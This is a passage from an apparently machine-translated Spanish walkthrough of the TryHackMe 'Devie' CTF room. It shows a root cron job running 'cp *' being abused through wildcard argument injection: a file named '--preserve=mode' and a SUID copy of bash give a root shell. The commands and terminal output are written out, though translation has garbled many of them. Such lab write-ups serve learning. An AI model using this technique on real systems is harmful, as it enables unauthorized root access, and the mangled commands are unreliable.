= 80 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 79 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 78 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 77 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 30 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 29 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 28 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 27 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 26 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 25 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 24 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 23 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 22 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 21 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 20 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 18 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 17 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 16 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 15 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 14 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 13 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 12 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 11 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 10 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 9 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 8 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 6 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 4 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 3 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 2 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 1 | /sbin/init quizás-ubiquity 2023/05/25 14:14:01 cmd: uid = 0 pid = 1762 | /usr/sbin/cron -f 2023/05/25 14:14:01 cmd: uid = 0 pid = 1764 | /bin/sh -c/usr/bin/bash/usr/bin/backup 2023/05/25 14:14:01 cmd: uid = 0 pid = 1765 | /usr/bin/bash/usr/bin/backup 2023/05/25 14:14:01 cmd: uid = 0 pid = 1767 | CP Report1 Report2 Report3 test.txt/home/gordon/backups/
Esto es lo que tengo curiosidad.
2023/05/25 14:14:01 cmd: uid = 0 pid = 1764 | /bin/sh -c/usr/bin/bash/usr/bin/backup 2023/05/25 14:14:01 cmd: uid = 0 pid = 1765 | /usr/bin/bash/usr/bin/backup
Echemos un vistazo al interior "/usr/bin/backup".
gordon@devie: ~ $ cat/usr/bin/backup #!/bin/bash cd/home/gordon/informes/cp */home/gordon/backups/
Parece que se copian usando comodines.
Si puede otorgar con éxito el modo –Preserve =, puede copiar mientras conserva los derechos de acceso, por lo que
parece que puede copiar el acceso de los usuarios de BASH con los permisos Suid otorgados.
Copie Bash, otorgue permisos de SUID al acceso al usuario y cree un archivo llamado "-Preserve = MODE".
gordon@devie: ~ $ cd/home/gordon/informes gordon@devie: ~/informes $ cp/bin/bash. gordon@devie: ~/informes $ chmod u+s bash gordon@devie: ~/informes $ echo '' '>' --Preserve = mode 'gordon@devie: ~/informes $ ls -lah total 1.2M DRWXRWX --- 2 Gordon Gordon 4.0k 25 de mayo 14:20. DRWXR-XR-X 5 Gordon Gordon 4.0k 25 de mayo 14:10 .. -RWSR-XR-X 1 Gordon Gordon 1.2M 25 de mayo 14:20 Bash -rw-RW-R-- 1 Gordon Gordon 1 25 de mayo 14:20 '--Preserve = MODE' --RW-R-R-- 1 640 Gordon 57 Feb 19:31 Gordon 72 19 de febrero 23:32 Informe2 -rw-R-R-- 1 640 Gordon 100 Feb 19 23:33 Informe3 -rw-Rw-R-- 1 Gordon Gordon 0 de mayo 25 14:03 Test.txt
Como lo tendrá, inicie su PSPY64 y espere 1 minuto.
gordon@devie:~$ ./pspy64 pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d ██▓████ ██▓███ ▓██░ ██▓██░ ██▒▒▒▒██░ ██▒░ ▓██░ ██▓▒░ ▓██░ ██▓▒░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ██░ ▒██░ ▒██░ ██░ ▒██░ ▒██░ ██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ██ ▒ ▒ ▒ ██▒██▄█▓▒ ░ ▐██▓░ ▒██▒ ░ ░ ░ ██▒▒▒▒▒▒ ░ ░ ░ ░ ░ ░ ░ ░ ▓██ ▓██ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░. ░ Configuración: Eventos de impresión (coloreed = true): procesos = true | file-system-events = false ||| Escaneo para procesar cada 100 ms y en eventos inotify ||| Directorios de observación: [ /usr /tmp /etc /home /var /opt] (recursivo) | [] (no recursivo) Eventos del sistema de archivos de drenaje debido a la inicio ... Hecho 2023/05/25 14:24:34 cmd: uid = 1001 pid = 1834 | ./PSPY64 ・・・ 2023/05/25 14:24:34 CMD: uid = 0 pid = 1 | /sbin/init quizás-ubiquity 2023/05/25 14:25:01 cmd: uid = 0 pid = 1842 | /usr/sbin/cron -f 2023/05/25 14:25:01 cmd: uid = 0 pid = 1843 | /bin/sh -c/usr/bin/bash/usr/bin/backup 2023/05/25 14:25:01 cmd: uid = 0 pid = 1845 | CP Bash --Preserve = Mode Report1 Report2 Report3 Test.txt/Home/Gordon/Backups/
Cuando se ejecuta el resultado final, "-Preserve = Mode" se ejecuta como una opción, no como un archivo.
Entonces, en Backpus, se copiará Bash con privilegios suid de raíz otorgados.
Gordon@Devie: ~/ Backups $ LL Total 1176 Drwxrwx --- 2 Gordon Gordon 4096 25 de mayo 14:21 ./ DRWXR-XR-X 5 Gordon Gordon 4096 25 de mayo 14:10 ../ -RWSR-XR-X 1 raíz de la raíz 1183448 25 de mayo 14:22 BASH*-RW-R--R- R- R- R- ROOT Report1 -rw-R-R-- 1 raíz de la raíz 72 25 de mayo 14:22 Informe2 -rw-r-r-- 1 raíz de raíz 100 mayo 25 14:22 Informe3 -rw-rw-r-- 1 raíz raíz 0 mayo 25 14:22 test.txt
Corramos Bash.
Me elevaron con éxito a los privilegios de la raíz.
Gordon@devie: ~/Backups $ ./bash -p bash -5.0# whoami root
Una vez que haya marcado root.txt desde /root, puede obtener el indicador.
Bash-5.0# CD /Root Bash-5.0# ls root.txt snap bash-5.0# cat root.txt thm {j0k3r $ _ar3_w1ld}
Respuesta

resumen
Esta vez, probé la inyección de comando usando la función eval () de Python.
Esta es la primera vez que hago inyección de comandos, y me sorprendió lo fácil que era hacerlo.
También hubo otras escaladas de privilegios utilizando el cifrado XOR y Suid. De vez en cuando verá la escalada de privilegios usando Suids.
¿Está disponible el cifrado XOR en otro lugar? Me topé un poco, así que me vengaré.
Referencias y sitios
Hacklido: https://hacklido.com/blog/434-tryhackme-devie-walkthroughthugh-ctf-writeup
decl: https://vulnerable.sh/posts/thm_devie/